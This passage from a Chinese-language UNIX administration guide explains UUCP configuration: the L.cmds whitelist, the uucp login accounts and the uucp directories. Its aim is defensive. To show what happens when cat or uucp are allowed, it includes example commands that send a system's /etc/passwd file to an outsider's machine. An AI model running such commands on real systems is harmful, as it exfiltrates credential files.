    uucp yoursys!/etc/passwd to-creep



    (2)L.cmds文件

    uuxqt利用/usr/lib/uucp/L.cmds文件确定要执行的远程执行请求命令.

    该文件的格式是每行一条命令.如果只需uuxqt处理电子邮件,该文件中就只须

    一行命令:

    rmail

    系统管理员可允许登录用户执行netnews(rnews)的命令或远程打印命令

    (lp),但决不能允许用户执行拷贝文件到标准输出的命令,如cat命令或网络命

    令uucp,否则这些人只需在他们自己的系统上敲入:

    uux \"yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)\"

    然后就可等待本系统发送出命令文件.



    (3)uucp登录

    UUCP系统需要两个登录户头,一个是其它系统登录的户头,另一个是系统

    管理使用的户头.例如,数据传输登录户头是nuucp,管理登录户头是uucp,则在

    /etc/passwd文件中应当有二行.

    UID和GID的5号通常留给uucp,由于uucico具有管理登录的SUID许可,因此

    nuucp户头的UID和GID应当用其它值.



    (4)uucp使用的文件和目录

    /usr/lib/uucp用于存放不能由用户直接运行的各种uucp,如uuxqt和

    uucico.该目录还含有若干个确定uucp如何操作的文件,如L.cmds和USERFILE. 发布人:netbull 来自:LinuxAid 

赞助商链接